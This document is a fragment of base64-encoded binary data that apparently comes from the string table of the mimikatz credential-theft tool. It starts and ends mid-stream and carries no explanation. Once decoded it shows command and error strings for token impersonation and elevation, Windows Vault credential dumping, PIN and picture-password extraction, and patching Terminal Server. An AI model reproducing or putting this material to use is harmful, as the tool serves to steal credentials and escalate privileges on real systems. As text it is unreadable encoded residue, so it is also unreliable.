G8AIABmAGkAbABlAAAAAAAAAGIAYQBzAGUANgA0AAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAZgBpAGwAZQAgAG8AdQB0AHAAdQB0AC8AYgBhAHMAZQA2ADQAIABvAHUAdABwAHUAdAAAAAAAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAAAAAAAEQAaQBzAHAAbABhAHkAIABzAG8AbQBlACAAdgBlAHIAcwBpAG8AbgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAAAYwBkAAAAAAAAAAAAQwBoAGEAbgBnAGUAIABvAHIAIABkAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGQAaQByAGUAYwB0AG8AcgB5AAAAbQBhAHIAawByAHUAcwBzAAAAAAAAAAAATQBhAHIAawAgAGEAYgBvAHUAdAAgAFAAdABIAAAAAABzAHQAYQBuAGQAYQByAGQAAAAAAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAAAAAAAAQgB5AGUAIQAKAAAAAAAAADQAMgAuAAoAAAAAAAAAAAAKACAAIAAgACAAKAAgACgACgAgACAAIAAgACAAKQAgACkACgAgACAALgBfAF8AXwBfAF8AXwAuAAoAIAAgAHwAIAAgACAAIAAgACAAfABdAAoAIAAgAFwAIAAgACAAIAAgACAALwAKACAAIAAgAGAALQAtAC0ALQAnAAoAAAAAAFMAbABlAGUAcAAgADoAIAAlAHUAIABtAHMALgAuAC4AIAAAAAAAAABFAG4AZAAgACEACgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AbABvAGcAAAAAAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAAAAAAAAZgBhAGwAcwBlAAAAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKABhAHIAYwBoACAAeAA2ADQAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAAAAAAEMAdQByADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAAAAAAEwAaQBzAHQAIAAuAC4ALgAAAAAAAAAAAGcAZQB0AAAARwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAAUwBlAHQAIAAuAC4ALgAAAGQAZQBsAAAARABlAGwAIAAuAC4ALgAAAAAAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAbAB1AGUAIABtAG8AZAB1AGwAZQAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVgBlAG4AZABvAHIAIABHAFUASQBEADoAIAAAAAAAAAApAAoATABlAG4AZwB0AGgAIAAgACAAIAAgADoAIAAlAHUACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBsAGkAcwB0ACAAOwAgAE4AdABFAG4AdQBtAGUAcgBhAHQAZQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAHMARQB4ACgAcwBpAHoAZQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABBAHQAdAByAGkAYgB1AHQAZQBzACAAOgAgACUAMAA4AHgAIAAoAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAbgBvAHQAIABmAG8AdQBuAGQALgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAE4AdABRAHUAZQByAHkAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABOAE8ATgBfAFYATwBMAEEAVABJAEwARQAAAAAAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEgAQQBSAEQAVwBBAFIARQBfAEUAUgBSAE8AUgBfAFIARQBDAE8AUgBEAAAAAAAAAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAAAAAABBAFAAUABFAE4ARABfAFcAUgBJAFQARQAAAAAAAAAAAEsAaQB3AGkARQBmAGkAVgBhAHIAaQBhAGIAbABlAHMAAAAAAAAAAABFAGYAaQBCAG8AbwB0AFYAYQByAGkAYQBiAGwAZQBzAAAAAAAAAAAARQB4AHAAUwBlAGMAdQByAGUAQgBvAG8AdABWAGUAbgBkAG8AcgAAACUAcwAgAC0AIAAAAAAAAAB3AGgAbwBhAG0AaQAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAAAAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAAAAAAAAZQBsAGUAdgBhAHQAZQAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAgAGEAIAB0AG8AawBlAG4AAAByAGUAdgBlAHIAdAAAAAAAUgBlAHYAZQByAHQAIAB0AG8AIABwAHIAbwBjAGUAcwAgAHQAbwBrAGUAbgAAAAAAdABvAGsAZQBuAAAAAAAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAAAAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABUAG8AawBlAG4AIABJAGQAIAAgADoAIAAlAHUACgBVAHMAZQByACAAbgBhAG0AZQAgADoAIAAlAHMACgBTAEkARAAgAG4AYQBtAGUAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHIAZQB2AGUAcgB0ACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAQQBuAG8AbgB5AG0AbwB1AHMAAAAAAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAAAAAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG0AdQBsAHQAaQByAGQAcAAAA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GgAZQBuAHQAaQBjAGEAdABpAG8AbgBcAEwAbwBnAG8AbgBVAEkAXABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByA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HUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAA8AE4AVQBMAEwAPgAAAAAAAAAAAAAAAABUAGEAcgBnAGUAdABOAGEAbQBlACAAOgAgACUAcwAgAC8AIAAlAHMACgBVAHMAZQByAE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAEMAbwBtAG0AZQBuAHQAIAAgACAAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoAUABlAHIAcwBpAHMAdAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAAAAAAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQB1AAoAAAAAAAAAIABbACUAMgB1AF0AIABBAHQAdAByAGkAYgB1AHQAZQAKAAAAAAAAACAAIABGAGwAYQBnAHMAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAAAAAABpAG4AZgBvAHMAAAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAAAAAAAAAAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAFIACgAAAAAAJQBDACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABCAG8AYQByAGQAIABjAG8AcAB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQB